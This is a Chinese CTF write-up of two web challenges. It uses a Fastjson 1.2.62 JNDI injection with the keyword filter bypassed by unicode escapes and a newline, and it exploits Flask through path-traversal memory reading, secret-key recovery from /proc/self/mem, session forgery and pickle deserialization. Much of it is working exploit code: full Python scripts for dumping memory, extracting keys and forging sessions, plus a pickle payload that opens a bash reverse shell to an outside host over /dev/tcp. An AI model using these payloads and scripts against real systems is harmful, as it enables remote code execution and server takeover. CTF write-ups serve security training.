2022蓝帽杯wep-WP
一点闲话:
web一天白打工,这次的蓝帽几乎就是取证大爹们的主场,web题一共只有两道,一道题简单的fastjson1.2.62反序列化
加一道读内存和pickle反序列化
,思路都不复杂,但属实是被环境问题整麻了…不管怎么说还是记录一下吧
Ez_gadget
这个题有点麻瓜,我不管在本地还是题目环境下unicode绕过rmi
等协议的关键字后都不会发出连接请求,但是赛后问了下其他一些师傅很多都是用成功unicode绕过的(无话可说),不知道为什么unicode绕过修改ldap
关键字失败了但是经过atao师傅
指导说可以直接用换行绕过的方法绕过ldap
链接的检测,试了一下换行确实每次都没问题
file_session
这个题环境搞心态,不知道为什么一直不会读取到session中的data,赛后问了几个师傅都是说本地是可以打通的,但是到题目环境就没成功过,下面是我本地测试的POC构建过程.
队伍完整WP见奇安信攻防社区: 2022蓝帽杯初赛WriteUp
Web
Ez_gadget
题目内容:听说有一个快的json组件有危险,但是flag被我放在了root的flag.txt下诶,你能找到么?
jar包附件下载:https://share.weiyun.com/v3yXxl87
题目源码逻辑很简单,就是一个绕过后的fastjson反序列化
代码语言:javascript复制//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.spring;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.util.Objects;
import java.util.regex.Pattern;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class JSONController {
public JSONController() {
}
@ResponseBody
@RequestMapping({"/"})
public String hello() {
return "Your key is:" secret.getKey();
}
@ResponseBody
@RequestMapping({"/json"})
public String Unserjson(@RequestParam String str, @RequestParam String input) throws Exception {
if (str != null && Objects.hashCode(str) == secret.getKey().hashCode() && !secret.getKey().equals(str)) {
String pattern = ".*rmi.*|.*jndi.*|.*ldap.*|.*\\x.*";
Pattern p = Pattern.compile(pattern, 2);
boolean StrMatch = p.matcher(input).matches();
if (StrMatch) {
return "Hacker get out!!!";
}
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(input);
}
return "hello";
}
}
首先要构造一个str满足hashCode
相同但是字符不同
构造方法直接将第一个字符ascii码大小-1,第二个字符ascii码大小 31,以下为简易的构造脚本,原理可以看Java 构建 HashCode 相同的字符串
代码语言:javascript复制from urllib import parse
while 1:
key=input("#")
print(parse.quote(chr(ord(key[0]) - 1) chr(ord(key[1]) 31) key[2::]))
拿到符合条件的str
参数后,构造fastjson反序列化的input
参数
将str和input通过POST传输进行测试
代码语言:javascript复制str=G`xnUP8l4U0Sv7uE
&input= {
"poc": {"@type": "java.lang.AutoCloseable","@type": "com.alibaba.fastjson.JSONReader","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "http://8koj8j.ai.haibara.cyou:9999"}}
}
使用JSONReader
探测确认反序列化确实可用,然后使用fastjson 1.2.62(一幕环境fastjson版本)的黑名单绕过exp:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://VPS:port/Evil"}";
但是需要变一下,以绕过jndi
,rmi
,ldap
,x
的过滤,可以使用unicode编码(其实也可以使用16进制x,但是这里x
被过滤了)
str=xxxxxxxx&input={"@type":"org.apache.xbean.propertyeditor.u004au006eu0064u0069Converter","AsText":"u006cu0064u0061u0070://VPS:port/Evil"}
此外对于远程资源加载的Pattern.compile
匹配我们可以使用换行
完成绕过
str=xxxxxxxx&input={"@type":"org.apache.xbean.propertyeditor.u004au006eu0064u0069Converter","AsText":"
ldap://VPS:port/Evil"}
结合使用工具JNDIExploit
最终反弹shell拿到flag
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps -p 8080 -l 8089
详细操作可参考https://www.anquanke.com/post/id/232774
file_session
题目内容:这里可以下载“海量”的图片,不知道有没有你喜欢的图片。
根据题目提示可知有个/download路由可以任意文件读取,得到/app/app.py
源码
import base64
import os
import uuid
from flask import Flask, request, session, render_template
from pickle import _loads
SECRET_KEY = str(uuid.uuid4())
app = Flask(__name__)
app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))
# apt install python3.8
@app.route('/', methods=['GET'])
def index():
return render_template("index.html")
@app.route('/download', methods=["GET", 'POST'])
def download():
filename = request.args.get('file', "static/image/1.jpg")
offset = request.args.get('offset', "0")
length = request.args.get('length', "0")
if offset == "0" and length == "0":
return open(filename, "rb").read()
else:
offset, length = int(offset), int(length)
f = open(filename, "rb")
f.seek(offset)
ret_data = f.read(length)
return ret_data
@app.route('/filelist', methods=["GET"])
def filelist():
return f"{str(os.listdir('./static/image/'))} /download?file=static/image/1.jpg"
@app.route('/admin_pickle_load', methods=["GET"])
def admin_pickle_load():
if session.get('data'):
data = _loads(base64.b64decode(session['data']))
return data
session["data"] = base64.b64encode(b"error")
return 'admin pickle'
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=8888)
内容不多,就两个点:
/download
路由可以指定文件和偏移进行文件内容读取/admin_pickle_load
路由会反序列化session中的data数据
所以我们要伪造session,那么首先就要获取SECRET_KEY
,这里用的是内存读取
解题步骤就是
- 根据
/proc/self/maps
获取内存情况然后从/proc/self/mem
读取指定偏移的内存数据 - 从内存中取出被作为
SECRET_KEY
的UUID - 伪造session
- 将反弹shell的反序列化数据加入到session的data中
- 监听端口接收反弹的shell
下载内存数据到./save
目录下:
dump.py
代码语言:javascript复制import os,requests,re
def dowload(file,offset=0,length=0):
if offset:
res=requests.get(f"{url}download?file=../../../../..{file}&offset={offset}&length={length}")
else:
res = requests.get(f"{url}download?file=../../../../..{file}")
text=res.text
return text
os.system("rm -rf ./save;mkdir save")
url=input("url:#")
for i in dowload("/proc/self/maps").split("n"):
if ".so" in i or "lib" in i or"python3" in i or"dev" in i:
continue
t = re.match(r"[0-9-abcdef]*", i)
location = t.group().split("-")
try:
start, end="0x" location[0],"0x" location[1]
except:
continue
print("./save/" start "-" end)
save = open(
"./save/" start "-" end,"wb"
)
save.write(
dowload(
"/proc/self/mem",
str(int(start,16)),
str(int(end,16)-int(start,16))
).encode()
)
save.close()
对内存数据进行UUID正则匹配,获取全部UUID存放到./keys
文件中:
grep.py
代码语言:javascript复制import os
import re
os.system("rm keys")
dir=str(os.listdir('./save'))
dir=dir[1:-2:].replace("'","").replace(" ","").split(",")
print("Dir::=>",)
for i in dir:
print(i)
print("Start" "-"*100)
for f in dir:
if f=="":
continue
print("Now is File::=>",f,"-"*50)
lines=open("./save/" f,"rb").readlines()
for line in lines:
t=re.findall(
rb"[0-9abcdef]{8}-[0-9abcdef]{4}-[0-9abcdef]{4}-[0-9abcdef]{4}-[0-9-abcdef]{12}",
line
)
for i in t:
print(i.decode())
file = open("keys", "ab")
if i not in open("keys","rb").read():
file.write(i b"n")
else:
print(i.decode() " Is Haven")
file.close()
通过./keys
逐个取出key然后结合工具flask_session_cookie_manager生成伪造的session(里面有要反序列化的data数据)后全部存到sessions数组中,再逐个带着生成的session访问/admin_pickle_load
进行反序列化(注意提前打开监听)
poc.py
代码语言:javascript复制import base64
import os
import pickle
import requests
class test(object):
def __reduce__(self):
return (__import__('os').system, ("""
bash -c 'exec bash -i &>/dev/tcp/vps/4444 <&1'
""",))
data=base64.b64encode(pickle.dumps(test())).decode()
os.system("rm sessions")
for key in open("keys","r").readlines():
key=key.replace("n","")
cmd = """python3 flask_session_cookie_manager3.py encode -s '%s' -t '{"data":"%s"}' >> sessions"""%(key,data)
print("key::=>",key)
os.system(cmd)
sessions=open("./sessions","r").readlines()
url = input("url:#") "admin_pickle_load"
for session in sessions:
session=session.replace("n","")
# print(session)
res=requests.get(url
,cookies={"session":session}
)
if res.text != "admin pickle":
print("Suceess")
print(res.text)
else:
print(res.text)
print()
这里注意使用工具flask_session_cookie_manager
伪造session的时候必须要和题目环境的python大版本相同(python2或python3,小版本可忽略),它们使用的脚本和生成的session是不一样的
按照下面顺序执行就能获得反弹的shell了:
窗口1:
代码语言:javascript复制nc -vnlp 4444
窗口2:
代码语言:javascript复制git clone https://github.com/noraj/flask-session-cookie-manager.git
cd flask-session-cookie-manager
vi dump.py #写入dump.py文件
python3 dump.py
#输入URL为题目URL,端口后面记得加上/
vi grep.py #写入grep.py文件
python3 grep.py
cat keys
vi poc.py #写入poc.py文件
python3 poc.py